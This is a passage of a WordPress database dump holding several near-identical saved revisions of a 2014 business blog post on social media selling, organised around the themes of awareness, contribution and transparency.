'open', '', '2735-revision-8', '', '', '2014-08-25 10:12:19', '2014-08-25 17:12:19', '', 2735, 'http://www.whitehotcenter.com/2014/08/2735-revision-8/', 0, 'revision', '', 0),
(2745, 2, '2014-08-25 10:12:22', '2014-08-25 17:12:22', '<img class="alignnone size-full wp-image-2736" title="The Art of Social Media Selling" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Social-Selling.jpg" alt="" width="515" height="399" />\r\n<h1>If you don’t have a strategy in place for selling through social media– evolve or watch your business die a slow death.</h1>\r\nIn my <a title="WHC Survey Results" href="http://whc.fbdev.org/2014/07/insight-into-what-matters-most-to-you-in-growing-your-business/" target="_blank">recent survey</a>, only 25% of respondents said social media was an effective tool for growing their business. The majority (55%) stated that is was “important but not critical”. Seemingly, few have a strategy in place for using this channel effectively for growing their business.\r\n\r\nMarketing and selling successfully through social media channels requires a strategy if you are to get people to know you, like you and trust you and ultimately buy from you. If you don’t have a strategy in place for using this channel– evolve or watch your business die a slow death. This is true for every business large and small selling products or services.\r\n\r\nRandomly throwing stuff out into the goo of the web is not a strategy– but that’s exactly what most early-stage entrepreneurs and solo professionals do.\r\n\r\nMarketing and sales through social media channels has never been easier or more complex.  Easier because social media platforms are available for free for everyone to broadcast non-stop messages of all kinds. More complex because audiences are fragmented, with shorter attention spans and the web is vast sea of static noise.\r\n\r\nI’ll shed a little light on how best to build your strategy for social selling so you can expand your influence in the marketplace. A Social Selling Strategy requires these essential elements before prospects will buy from you:\r\n<h3>Awareness (know me)</h3>\r\n<h3>Contribution (like me)</h3>\r\n<h3>Transparency (trust me)</h3>\r\n<h2><em>Awareness</em></h2>\r\nObviously if nobody knows about you… enough said.  But you don’t need everybody to know about you–only ”some people” (aka your target customer).  To build awareness through social selling, you will have to focus on serving a specific target of high value customers.  And once you’ve determined who these people are, you’ll need to hang out and be present in the online places where these people go for insight and inspiration.\r\n\r\nUnfortunately it’s not enough for these high value customers to “know” you exist. They have to “care” you exist.  For them to care about you (your brand/business), you’re going to have to represent something they highly value and can’t easily get from others. Put another way–they have to need you and like you.\r\n\r\n<strong><em>What idea of value do you (your brand/business) represent to your target customer that is not in abundant supply from others?</em></strong>\r\n\r\nLet your answer to this question guide and inform what relevant value you bring to the party and how you determine what the “quality of your presence” will be in social media channels for your value to resonate. People always do business with people they like.\r\n<h2><em>Contribution</em></h2>\r\nWe now live in the age of the customer. Buyers now rule the world, not the seller. Today, the buying process begins long before a salesperson gets called.  Buyers are no longer turning to salespeople for information on products and services.\r\n\r\nBuyers are seeking that knowledge from influencers online. Buyers no longer care about your marketing messages or trust your sales pitch. They trust an objective third party (think Angie’s List ) point of view. What customers learn from influential online resources determines who they will buy from.\r\n\r\nSocial selling requires you be an influencer. To influence you will have to contribute and share your expertise freely to help and serve customers be more successful in obtaining their outcomes. Your marketing must help not hype–serving not selling.\r\n\r\nYou must have a content marketing strategy based on contribution and shared values–not non-stop promotions and useless postings of dog pictures and over-used quotes from dead people.\r\n\r\n<strong><em>What pain or gain are your high value prospective customers concerned with. How will your knowledge, insight and expertise resonate and help them be successful?</em></strong>\r\n\r\nYour answer to this question will guide and inform what content you will share that will endear you to your customers and enable you to be an influencer. Put another way, you must be perceived as a value creator rather than an order-taker. People always buy from people they trust.\r\n<h2><em>Transparency</em></h2>\r\nTo be successful at social selling people have to trust you (your brand/business). You must substantiate your value with credible proof in the marketplace that your value proposition delivers on its promise. Buyers now have a voice and a choice–and in commoditized, price driven business categories, all the power in the buying cycle.\r\n\r\nRather than the “always be closing” quota driven mentality of old school selling, the social web enables you to “always be connecting”. Connecting with other like- minded colleagues, partners, influencers and prospective clients. Today everyone has a circle of influence– a group of people in their close network with whom they are highly trusted. I’ve heard that we all have 52 people on average with which we are highly influential.\r\n\r\nThink about the exponential power that brings to your refer-ability.  The more people you connect with and who value and share your stuff, the more influence you will have in the marketplace. The more influence you have, the more clients and customers will seek you out. Make no mistake they will find you (for good or ill) online.\r\n\r\n<strong><em>What credible proof do you have that will enable prospective customers to trust you deliver on your promise? </em></strong>\r\n\r\nYour answer to this question will drive your entire social selling strategy. You (yourbrand/business) must become an influential value-creator for your customers and clients. To build this level trust you’ll need to create and share content that helps people be successful first. That content should be roughly 80% inspirational and 20% promotional.\r\n\r\n<strong>Finally, Facebook is not face time.</strong>\r\n\r\nRemember that real face-to-face interactions with customers must also be a component of your social media selling strategies. If you have the right social selling strategy, your face time with prospective customers will be much more rewarding and you will close significantly more business.\r\n\r\nWhen you (your brand/business) represents a highly valued outcome target prospects know, care about and trust your marketing and sales results and the growth of your business will take a quantum leap.\r\n\r\n<em><strong>If you found this post useful, please subscribe to The White Hot Center blog.</strong></em>', 'Social Media Selling: Know me, like me, trust me.', 0, '', 'inherit', 'open', 'open', '', '2735-revision-9', '', '', '2014-08-25 10:12:22', '2014-08-25 17:12:22', '', 2735, 'http://www.whitehotcenter.com/2014/08/2735-revision-9/', 0, 'revision', '', 0),
(2746, 2, '2014-08-25 10:18:52', '2014-08-25 17:18:52', '<img class="alignnone size-full wp-image-2736" title="The Art of Social Media Selling" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Social-Selling.jpg" alt="" width="515" height="399" />\r\n<h1>If you don’t have a strategy in place for selling through social media– evolve or watch your business die a slow death.</h1>\r\nIn my <a title="WHC Survey Results" href="http://whc.fbdev.org/2014/07/insight-into-what-matters-most-to-you-in-growing-your-business/" target="_blank">recent survey</a>, only 25% of respondents said social media was an effective tool for growing their business. The majority (55%) stated that is was “important but not critical”. Seemingly, few have a strategy in place for using this channel effectively for growing their business.\r\n\r\nMarketing and selling successfully through social media channels requires a strategy if you are to get people to know you, like you and trust you and ultimately buy from you. If you don’t have a strategy in place for using this channel– evolve or watch your business die a slow death. This is true for every business large and small selling products or services.\r\n\r\nRandomly throwing stuff out into the goo of the web is not a strategy– but that’s exactly what most early-stage entrepreneurs and solo professionals do.\r\n\r\nMarketing and sales through social media channels has never been easier or more complex.  Easier because social media platforms are available for free for everyone to broadcast non-stop messages of all kinds. More complex because audiences are fragmented, with shorter attention spans and the web is vast sea of static noise.\r\n\r\nI’ll shed a little light on how best to build your strategy for social selling so you can expand your influence in the marketplace. A Social Selling Strategy requires these essential elements before prospects will buy from you:\r\n<h3>Awareness (know me)</h3>\r\n<h3>Contribution (like me)</h3>\r\n<h3>Transparency (trust me)</h3>\r\n<h2><em>Awareness</em></h2>\r\nObviously if nobody knows about you… enough said.  But you don’t need everybody to know about you–only ”some people” (aka your target customer).  To build awareness through social selling, you will have to focus on serving a specific target of high value customers.  And once you’ve determined who these people are, you’ll need to hang out and be present in the online places where these people go for insight and inspiration.\r\n\r\nUnfortunately it’s not enough for these high value customers to “know” you exist. They have to “care” you exist.  For them to care about you (your brand/business), you’re going to have to represent something they highly value and can’t easily get from others. Put another way–they have to need you and like you.\r\n\r\n<strong><em>What idea of value do you (your brand/business) represent to your target customer that is not in abundant supply from others?</em></strong>\r\n\r\nLet your answer to this question guide and inform what relevant value you bring to the party and how you determine what the “quality of your presence” will be in social media channels for your value to resonate. People always do business with people they like.\r\n<h2><em>Contribution</em></h2>\r\nWe now live in the age of the customer. Buyers now rule the world, not the seller. Today, the buying process begins long before a salesperson gets called.  Buyers are no longer turning to salespeople for information on products and services.\r\n\r\nBuyers are seeking that knowledge from influencers online. Buyers no longer care about your marketing messages or trust your sales pitch. They trust an objective third party (think Angie’s List ) point of view. What customers learn from influential online resources determines who they will buy from.\r\n\r\nSocial selling requires you be an influencer. To influence you will have to contribute and share your expertise freely to help and serve customers be more successful in obtaining their outcomes. Your marketing must help not hype–serving not selling.\r\n\r\nYou must have a content marketing strategy based on contribution and shared values–not non-stop promotions and useless postings of dog pictures and over-used quotes from dead people.\r\n\r\n<strong><em>What pain or gain are your high value prospective customers concerned with. How will your knowledge, insight and expertise resonate and help them be successful?</em></strong>\r\n\r\nYour answer to this question will guide and inform what content you will share that will endear you to your customers and enable you to be an influencer. Put another way, you must be perceived as a value creator rather than an order-taker. People always buy from people they trust.\r\n<h2><em>Transparency</em></h2>\r\nTo be successful at social selling people have to trust you (your brand/business). You must substantiate your value with credible proof in the marketplace that your value proposition delivers on its promise. Buyers now have a voice and a choice–and in commoditized, price driven business categories, all the power in the buying cycle.\r\n\r\nRather than the “always be closing” quota driven mentality of old school selling, the social web enables you to “always be connecting”. Connecting with other like- minded colleagues, partners, thought leaders and prospective clients. Today everyone has a circle of influence–a group of people in their close network with whom they are highly trusted. I’ve heard that we all have 52 people on average with which we are highly influential.\r\n\r\nThink about the exponential power that brings to your refer-ability.  The more people you connect with and who value and share your stuff, the more influence you will have in the marketplace. The more influence you have, the more clients and customers will seek you out. Make no mistake they will find you (for good or ill) online.\r\n\r\n<strong><em>What credible proof do you have that will enable prospective customers to trust you deliver on your promise? </em></strong>\r\n\r\nYour answer to this question will drive your entire social selling strategy. You (your brand/business) must become an influential value-creator for your customers and clients. To build this level of trust, you’ll need to create and share content that helps people be successful first. A good rule of thumb to follow will mandate your content should be roughly 80% helpful and 20% promotional.\r\n\r\n<strong>Finally, Facebook is not face time.</strong>\r\n\r\nRemember that real face-to-face interactions with customers must also be a component of your social media selling strategies. If you have the right social selling strategy, your face time with prospective customers will be much more rewarding and you will close significantly more business.\r\n\r\nWhen you (your brand/business) represents a highly valued outcome target prospects know, care about and trust your marketing and sales results and the growth of your business will take a quantum leap.\r\n\r\n<em><strong>If you found this post useful, please subscribe to The White Hot Center blog.</strong></em>', 'Social Media Selling: Know me, like me, trust me.', 0, '', 'inherit', 'open', 'open', '', '2735-revision-10', '', '', '2014-08-25 10:18:52', '2014-08-25 17:18:52', '', 2735, 'http://www.whitehotcenter.com/2014/08/2735-revision-10/', 0, 'revision', '', 0),
(2747, 2, '2014-08-25 10:18:56', '2014-08-25 17:18:56', '<img class="alignnone size-full wp-image-2736" title="The Art of Social Media Selling" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Social-Selling.jpg" alt="" width="515" height="399" />\r\n<h1>If you don’t have a strategy in place for selling through social media– evolve or watch your business die a slow death.</h1>\r\nIn my <a title="WHC Survey Results" href="http://whc.fbdev.org/2014/07/insight-into-what-matters-most-to-you-in-growing-your-business/" target="_blank">recent survey</a>, only 25% of respondents said social media was an effective tool for growing their business. The majority (55%) stated that is was “important but not critical”. Seemingly, few have a strategy in place for using this channel effectively for growing their business.\r\n\r\nMarketing and selling successfully through social media channels requires a strategy if you are to get people to know you, like you and trust you and ultimately buy from you. If you don’t have a strategy in place for using this channel– evolve or watch your business die a slow death. This is true for every business large and small selling products or services.\r\n\r\nRandomly throwing stuff out into the goo of the web is not a strategy– but that’s exactly what most early-stage entrepreneurs and solo professionals do.\r\n\r\nMarketing and sales through social media channels has never been easier or more complex.  Easier because social media platforms are available for free for everyone to broadcast non-stop messages of all kinds. More complex because audiences are fragmented, with shorter attention spans and the web is vast sea of static noise.\r\n\r\nI’ll shed a little light on how best to build your strategy for social selling so you can expand your influence in the marketplace. A Social Selling Strategy requires these essential elements before prospects will buy from you:\r\n<h3>Awareness (know me)</h3>\r\n<h3>Contribution (like me)</h3>\r\n<h3>Transparency (trust me)</h3>\r\n<h2><em>Awareness</em></h2>\r\nObviously if nobody knows about you… enough said.  But you don’t need everybody to know about you–only ”some people” (aka your target customer).  To build awareness through social selling, you will have to focus on serving a specific target of high value customers.  And once you’ve determined who these people are, you’ll need to hang out and be present in the online places where these people go for insight and inspiration.\r\n\r\nUnfortunately it’s not enough for these high value customers to “know” you exist. They have to “care” you exist.  For them to care about you (your brand/business), you’re going to have to represent something they highly value and can’t easily get from others. Put another way–they have to need you and like you.\r\n\r\n<strong><em>What idea of value do you (your brand/business) represent to your target customer that is not in abundant supply from others?</em></strong>\r\n\r\nLet your answer to this question guide and inform what relevant value you bring to the party and how you determine what the “quality of your presence” will be in social media channels for your value to resonate. People always do business with people they like.\r\n<h2><em>Contribution</em></h2>\r\nWe now live in the age of the customer. Buyers now rule the world, not the seller. Today, the buying process begins long before a salesperson gets called.  Buyers are no longer turning to salespeople for information on products and services.\r\n\r\nBuyers are seeking that knowledge from influencers online. Buyers no longer care about your marketing messages or trust your sales pitch. They trust an objective third party (think Angie’s List ) point of view. What customers learn from influential online resources determines who they will buy from.\r\n\r\nSocial selling requires you be an influencer. To influence you will have to contribute and share your expertise freely to help and serve customers be more successful in obtaining their outcomes. Your marketing must help not hype–serving not selling.\r\n\r\nYou must have a content marketing strategy based on contribution and shared values–not non-stop promotions and useless postings of dog pictures and over-used quotes from dead people.\r\n\r\n<strong><em>What pain or gain are your high value prospective customers concerned with. How will your knowledge, insight and expertise resonate and help them be successful?</em></strong>\r\n\r\nYour answer to this question will guide and inform what content you will share that will endear you to your customers and enable you to be an influencer. Put another way, you must be perceived as a value creator rather than an order-taker. People always buy from people they trust.\r\n<h2><em>Transparency</em></h2>\r\nTo be successful at social selling people have to trust you (your brand/business). You must substantiate your value with credible proof in the marketplace that your value proposition delivers on its promise. Buyers now have a voice and a choice–and in commoditized, price driven business categories, all the power in the buying cycle.\r\n\r\nRather than the “always be closing” quota driven mentality of old school selling, the social web enables you to “always be connecting”. Connecting with other like- minded colleagues, partners, thought leaders and prospective clients. Today everyone has a circle of influence–a group of people in their close network with whom they are highly trusted. I’ve heard that we all have 52 people on average with which we are highly influential.\r\n\r\nThink about the exponential power that brings to your refer-ability.  The more people you connect with and who value and share your stuff, the more influence you will have in the marketplace. The more influence you have, the more clients and customers will seek you out. Make no mistake they will find you (for good or ill) online.\r\n\r\n<strong><em>What credible proof do you have that will enable prospective customers to trust you deliver on your promise? </em></strong>\r\n\r\nYour answer to this question will drive your entire social selling strategy. You (your brand/business) must become an influential value-creator for your customers and clients. To build this level of trust, you’ll need to create and share content that helps people be successful first. A good rule of thumb to follow will mandate your content should be roughly 80% helpful and 20% promotional.\r\n\r\n<strong>Finally, Facebook is not face time.</strong>\r\n\r\nRemember that real face-to-face interactions with customers must also be a component of your social media selling strategies. If you have the right social selling strategy, your face time with prospective customers will be much more rewarding and you will close significantly more business.\r\n\r\nWhen you (your brand/business) represents a highly valued outcome target prospects know, care about and trust your marketing and sales results and the growth of your business will take a quantum leap.\r\n\r\n<em><strong>If you found this post useful, please subscribe to The White Hot Center blog.</strong></em>', 'Social Media Selling: Know me, like me, trust me.', 0, '', 'inherit', 'open', 'open', '', '2735-revision-11', '', '', '2014-08-25 10:18:56', '2014-08-25 17:18:56', '', 2735, 'http://www.whitehotcenter.com/2014/08/2735-revision-11/', 0, 'revision', '', 0),
(2748, 2, '2014-08-25 10:22:54', '2014-08-25 17:22:54', '<img class="alignnone size-full wp-image-2736" title="The Art of Social Media Selling" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Social-Selling.jpg" alt="" width="515" height="399" />\r\n<h1>If you don’t have a strategy in place for selling through social media– evolve or watch your business die a slow death.</h1>\r\nIn my <a title="WHC Survey Results" href="http://whc.fbdev.org/2014/07/insight-into-what-matters-most-to-you-in-growing-your-business/" target="_blank">recent survey</a>, only 25% of respondents said social media was an effective tool for growing their business. The majority (55%) stated that is was “important but not critical”. Seemingly, few have a strategy in place for using this channel effectively for growing their business.\r\n\r\nMarketing and selling successfully through social media channels requires a strategy if you are to get people to know you, like you and trust you and ultimately buy from you. If you don’t have a strategy in place for using this channel– evolve or watch your business die a slow death. This is true for every business large and small selling products or services.\r\n\r\nRandomly throwing stuff out into the goo of the web is not a strategy– but that’s exactly what most early-stage entrepreneurs and solo professionals do.\r\n\r\nMarketing and sales through social media channels has never been easier or more complex.  Easier because social media platforms are available for free for everyone to broadcast non-stop messages of all kinds. More complex because audiences are fragmented, with shorter attention spans and the web is vast sea of static noise.\r\n\r\nI’ll shed a little light on how best to build your strategy for social selling so you can expand your influence in the marketplace. A Social Selling Strategy requires these essential elements before prospects will buy from you:\r\n<h3>Awareness (know me)</h3>\r\n<h3>Contribution (like me)</h3>\r\n<h3>Transparency (trust me)</h3>\r\n<h2><em>Awareness</em></h2>\r\nObviously if nobody knows about you… enough said.  But you don’t need everybody to know about you–only ”some people” (aka your target customer).  To build awareness through social selling, you will have to focus on serving a specific target of high value customers.  And once you’ve determined who these people are, you’ll need to hang out and be present in the online places where these people go for insight and inspiration.\r\n\r\nUnfortunately it’s not enough for these high value customers to “know” you exist. They have to “care” you exist.  For them to care about you (your brand/business), you’re going to have to represent something they highly value and can’t easily get from others. Put another way–they have to need you and like you.\r\n\r\n<strong><em>What idea of value do you (your brand/business) represent to your target customer that is not in abundant supply from others?</em></strong>\r\n\r\nLet your answer to this question guide and inform what relevant value you bring to the party and how you determine what the “quality of your presence” will be in social media channels for your value to resonate. People always do business with people they know and like.\r\n<h2><em>Contribution</em></h2>\r\nWe now live in the age of the customer. Buyers now rule the world, not the seller. Today, the buying process begins long before a salesperson gets called.  Buyers are no longer turning to salespeople for information on products and services.\r\n\r\nBuyers are seeking that knowledge from influencers online. Buyers no longer care about your marketing messages or trust your sales pitch. They trust an objective third party (think Angie’s List ) point of view. What customers learn from influential online resources determines who they will buy from.\r\n\r\nSocial selling requires you be an influencer. To influence you will have to contribute and share your expertise freely to help and serve customers be more successful in obtaining their outcomes. Your marketing must help not hype–serving not selling.\r\n\r\nYou must have a content marketing strategy based on contribution and shared values–not non-stop promotions and useless postings of dog pictures and over-used quotes from dead people.\r\n\r\n<strong><em>What pain or gain are your high value prospective customers concerned with. How will your knowledge, insight and expertise resonate and help them be successful?</em></strong>\r\n\r\nYour answer to this question will guide and inform what content you will share that will endear you to your customers and enable you to be an influencer. Put another way, you must be perceived as a value creator rather than an order-taker. People always buy from people they like and trust.\r\n<h2><em>Transparency</em></h2>\r\nTo be successful at social selling people have to trust you (your brand/business). You must substantiate your value with credible proof in the marketplace that your value proposition delivers on its promise. Buyers now have a voice and a choice–and in commoditized, price driven business categories, all the power in the buying cycle.\r\n\r\nRather than the “always be closing” quota driven mentality of old school selling, the social web enables you to “always be connecting”. Connecting with other like- minded colleagues, partners, thought leaders and prospective clients. Today everyone has a circle of influence–a group of people in their close network with whom they are highly trusted. I’ve heard that we all have 52 people on average with which we are highly influential.\r\n\r\nThink about the exponential power that brings to your refer-ability.  The more people you connect with and who value and share your stuff, the more influence you will have in the marketplace. The more influence you have, the more clients and customers will seek you out. Make no mistake they will find you (for good or ill) online.\r\n\r\n<strong><em>What credible proof do you have that will enable prospective customers to trust you deliver on your promise? </em></strong>\r\n\r\nYour answer to this question will drive your entire social selling strategy. You (your brand/business) must become an influential value-creator for your customers and clients. To build this level of trust, you’ll need to create and share content that helps people be successful first. A good rule of thumb to follow will mandate your content should be roughly 80% helpful and 20% promotional.\r\n\r\n<strong>Finally, Facebook is not face time.</strong>\r\n\r\nRemember that real face-to-face interactions with customers must also be a component of your social media selling strategies. If you have the right social selling strategy, your face time with prospective customers will be much more rewarding and you will close significantly more business.\r\n\r\nWhen you (your brand/business) represents a highly valued outcome target prospects know, care about and trust your marketing and sales results and the growth of your business will take a quantum leap.\r\n\r\n<em><strong>If you found this post useful, please subscribe to The White Hot Center blog.</strong></em>', 'Social Media Selling: Know me, like me, trust me.', 0, '', 'inherit', 'open', 'open', '', '2735-revision-12', '', '', '2014-08-25 10:22:54', '2014-08-25 17:22:54', '', 2735, 'http://www.whitehotcenter.com/2014/08/2735-revision-12/', 0, 'revision', '', 0),
(2749, 2, '2014-08-25 10:22:58', '2014-08-25 17:22:58', '<img class="alignnone size-full wp-image-2736" title="The Art of Social Media Selling" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Social-Selling.jpg" alt="" width="515" height="399" />\r\n<h1>If you don’t have a strategy in place for selling through social media– evolve or watch your business die a slow death.</h1>\r\nIn my <a title="WHC Survey Results" href="http://whc.fbdev.org/2014/07/insight-into-what-matters-most-to-you-in-growing-your-business/" target="_blank">recent survey</a>, only 25% of respondents said social media was an effective tool for growing their business. The majority (55%) stated that is was “important but not critical”. Seemingly, few have a strategy in place for using this channel effectively for growing their business.\r\n\r\nMarketing and selling successfully through social media channels requires a strategy if you are to get people to know you, like you and trust you and ultimately buy from you. If you don’t have a strategy in place for using this channel– evolve or watch your business die a slow death. This is true for every business large and small selling products or services.\r\n\r\nRandomly throwing stuff out into the goo of the web is not a strategy– but that’s exactly what most early-stage entrepreneurs and solo professionals do.\r\n\r\nMarketing and sales through social media channels has never been easier or more complex.  Easier because social media platforms are available for free for everyone to broadcast non-stop messages of all kinds. More complex because audiences are fragmented, with shorter attention spans and the web is vast sea of static noise.\r\n\r\nI’ll shed a little light on how best to build your strategy for social selling so you can expand your influence in the marketplace. A Social Selling Strategy requires these essential elements before prospects will buy from you:\r\n<h3>Awareness (know me)</h3>\r\n<h3>Contribution (like me)</h3>\r\n<h3>Transparency (trust me)</h3>\r\n<h2><em>Awareness</em></h2>\r\nObviously if nobody knows about you… enough said.  But you don’t need everybody to know about you–only ”some people” (aka your target customer).  To build awareness through social selling, you will have to focus on serving a specific target of high value customers.  And once you’ve determined who these people are, you’ll need to hang out and be present in the online places where these people go for insight and inspiration.\r\n\r\nUnfortunately it’s not enough for these high value customers to “know” you exist. They have to “care” you exist.  For them to care about you (your brand/business), you’re going to have to represent something they highly value and can’t easily get from others. Put another way–they have to need you and like you.\r\n\r\n<strong><em>What idea of value do you (your brand/business) represent to your target customer that is not in abundant supply from others?</em></strong>\r\n\r\nLet your answer to this question guide and inform what relevant value you bring to the party and how you determine what the “quality of your presence” will be in social media channels for your value to resonate. People always do business with people they know and like.\r\n<h2><em>Contribution</em></h2>\r\nWe now live in the age of the customer. Buyers now rule the world, not the seller. Today, the buying process begins long before a salesperson gets called.  Buyers are no longer turning to salespeople for information on products and services.\r\n\r\nBuyers are seeking that knowledge from influencers online. Buyers no longer care about your marketing messages or trust your sales pitch. They trust an objective third party (think Angie’s List ) point of view. What customers learn from influential online resources determines who they will buy from.\r\n\r\nSocial selling requires you be an influencer. To influence you will have to contribute and share your expertise freely to help and serve customers be more successful in obtaining their outcomes. Your marketing must help not hype–serving not selling.\r\n\r\nYou must have a content marketing strategy based on contribution and shared values–not non-stop promotions and useless postings of dog pictures and over-used quotes from dead people.\r\n\r\n<strong><em>What pain or gain are your high value prospective customers concerned with. How will your knowledge, insight and expertise resonate and help them be successful?</em></strong>\r\n\r\nYour answer to this question will guide and inform what content you will share that will endear you to your customers and enable you to be an influencer. Put another way, you must be perceived as a value creator rather than an order-taker. People always buy from people they like and trust.\r\n<h2><em>Transparency</em></h2>\r\nTo be successful at social selling people have to trust you (your brand/business). You must substantiate your value with credible proof in the marketplace that your value proposition delivers on its promise. Buyers now have a voice and a choice–and in commoditized, price driven business categories, all the power in the buying cycle.\r\n\r\nRather than the “always be closing” quota driven mentality of old school selling, the social web enables you to “always be connecting”. Connecting with other like- minded colleagues, partners, thought leaders and prospective clients. Today everyone has a circle of influence–a group of people in their close network with whom they are highly trusted. I’ve heard that we all have 52 people on average with which we are highly influential.\r\n\r\nThink about the exponential power that brings to your refer-ability.  The more people you connect with and who value and share your stuff, the more influence you will have in the marketplace. The more influence you have, the more clients and customers will seek you out. Make no mistake they will find you (for good or ill) online.\r\n\r\n<strong><em>What credible proof do you have that will enable prospective customers to trust you deliver on your promise? </em></strong>\r\n\r\nYour answer to this question will drive your entire social selling strategy. You (your brand/business) must become an influential value-creator for your customers and clients. To build this level of trust, you’ll need to create and share content that helps people be successful first. A good rule of thumb to follow will mandate your content should be roughly 80% helpful and 20% promotional.\r\n\r\n<strong>Finally, Facebook is not face time.</strong>\r\n\r\nRemember that real face-to-face interactions with customers must also be a component of your social media selling strategies. If you have the right social selling strategy, your face time with prospective customers will be much more rewarding and you will close significantly more business.\r\n\r\nWhen you (your brand/business) represents a highly valued outcome target prospects know, care about and trust your marketing and sales results and the growth of your business will take a quantum leap.\r\n\r\n<em><strong>If you found this post useful, please subscribe to The White Hot Center blog.</strong></em>', 'Social Media Selling: Know me, like me, trust me.', 0, '', 'inherit', 'open', 'open', '', '2735-revision-13', '', '', '2014-08-25 10:22:58', '2014-08-25 17:22:58', '', 2735, 'http://www.whitehotcenter.com/2014/08/2735-revision-13/', 0, 'revision', '', 0);
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(2750, 2, '2014-08-25 10:23:46', '2014-08-25 17:23:46', '<img class="alignnone size-full wp-image-2736" title="The Art of Social Media Selling" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Social-Selling.jpg" alt="" width="515" height="399" />\r\n<h1>If you don’t have a strategy in place for selling through social media– evolve or watch your business die a slow death.</h1>\r\nIn my <a title="WHC Survey Results" href="http://whc.fbdev.org/2014/07/insight-into-what-matters-most-to-you-in-growing-your-business/" target="_blank">recent survey</a>, only 25% of respondents said social media was an effective tool for growing their business. The majority (55%) stated that is was “important but not critical”. Seemingly, few have a strategy in place for using this channel effectively for growing their business.\r\n\r\nMarketing and selling successfully through social media channels requires a strategy if you are to get people to know you, like you and trust you and ultimately buy from you. If you don’t have a strategy in place for using this channel– evolve or watch your business die a slow death. This is true for every business large and small selling products or services.\r\n\r\nRandomly throwing stuff out into the goo of the web is not a strategy– but that’s exactly what most early-stage entrepreneurs and solo professionals do.\r\n\r\nMarketing and sales through social media channels has never been easier or more complex.  Easier because social media platforms are available for free for everyone to broadcast non-stop messages of all kinds. More complex because audiences are fragmented, with shorter attention spans and the web is vast sea of static noise.\r\n\r\nI’ll shed a little light on how best to build your strategy for social selling so you can expand your influence in the marketplace. A Social Selling Strategy requires these essential components before prospects will buy from you:\r\n<h3>Awareness (know me)</h3>\r\n<h3>Contribution (like me)</h3>\r\n<h3>Transparency (trust me)</h3>\r\n<h2><em>Awareness</em></h2>\r\nObviously if nobody knows about you… enough said.  But you don’t need everybody to know about you–only ”some people” (aka your target customer).  To build awareness through social selling, you will have to focus on serving a specific target of high value customers.  And once you’ve determined who these people are, you’ll need to hang out and be present in the online places where these people go for insight and inspiration.\r\n\r\nUnfortunately it’s not enough for these high value customers to “know” you exist. They have to “care” you exist.  For them to care about you (your brand/business), you’re going to have to represent something they highly value and can’t easily get from others. Put another way–they have to need you and like you.\r\n\r\n<strong><em>What idea of value do you (your brand/business) represent to your target customer that is not in abundant supply from others?</em></strong>\r\n\r\nLet your answer to this question guide and inform what relevant value you bring to the party and how you determine what the “quality of your presence” will be in social media channels for your value to resonate. People always do business with people they know and like.\r\n<h2><em>Contribution</em></h2>\r\nWe now live in the age of the customer. Buyers now rule the world, not the seller. Today, the buying process begins long before a salesperson gets called.  Buyers are no longer turning to salespeople for information on products and services.\r\n\r\nBuyers are seeking that knowledge from influencers online. Buyers no longer care about your marketing messages or trust your sales pitch. They trust an objective third party (think Angie’s List ) point of view. What customers learn from influential online resources determines who they will buy from.\r\n\r\nSocial selling requires you be an influencer. To influence you will have to contribute and share your expertise freely to help and serve customers be more successful in obtaining their outcomes. Your marketing must help not hype–serving not selling.\r\n\r\nYou must have a content marketing strategy based on contribution and shared values–not non-stop promotions and useless postings of dog pictures and over-used quotes from dead people.\r\n\r\n<strong><em>What pain or gain are your high value prospective customers concerned with. How will your knowledge, insight and expertise resonate and help them be successful?</em></strong>\r\n\r\nYour answer to this question will guide and inform what content you will share that will endear you to your customers and enable you to be an influencer. Put another way, you must be perceived as a value creator rather than an order-taker. People always buy from people they like and trust.\r\n<h2><em>Transparency</em></h2>\r\nTo be successful at social selling people have to trust you (your brand/business). You must substantiate your value with credible proof in the marketplace that your value proposition delivers on its promise. Buyers now have a voice and a choice–and in commoditized, price driven business categories, all the power in the buying cycle.\r\n\r\nRather than the “always be closing” quota driven mentality of old school selling, the social web enables you to “always be connecting”. Connecting with other like- minded colleagues, partners, thought leaders and prospective clients. Today everyone has a circle of influence–a group of people in their close network with whom they are highly trusted. I’ve heard that we all have 52 people on average with which we are highly influential.\r\n\r\nThink about the exponential power that brings to your refer-ability.  The more people you connect with and who value and share your stuff, the more influence you will have in the marketplace. The more influence you have, the more clients and customers will seek you out. Make no mistake they will find you (for good or ill) online.\r\n\r\n<strong><em>What credible proof do you have that will enable prospective customers to trust you deliver on your promise? </em></strong>\r\n\r\nYour answer to this question will drive your entire social selling strategy. You (your brand/business) must become an influential value-creator for your customers and clients. To build this level of trust, you’ll need to create and share content that helps people be successful first. A good rule of thumb to follow will mandate your content should be roughly 80% helpful and 20% promotional.\r\n\r\n<strong>Finally, Facebook is not face time.</strong>\r\n\r\nRemember that real face-to-face interactions with customers must also be a component of your social media selling strategies. If you have the right social selling strategy, your face time with prospective customers will be much more rewarding and you will close significantly more business.\r\n\r\nWhen you (your brand/business) represents a highly valued outcome target prospects know, care about and trust your marketing and sales results and the growth of your business will take a quantum leap.\r\n\r\n<em><strong>If you found this post useful, please subscribe to The White Hot Center blog.</strong></em>', 'Social Media Selling: Know me, like me, trust me.', 0, '', 'inherit', 'open', 'open', '', '2735-revision-14', '', '', '2014-08-25 10:23:46', '2014-08-25 17:23:46', '', 2735, 'http://www.whitehotcenter.com/2014/08/2735-revision-14/', 0, 'revision', '', 0),
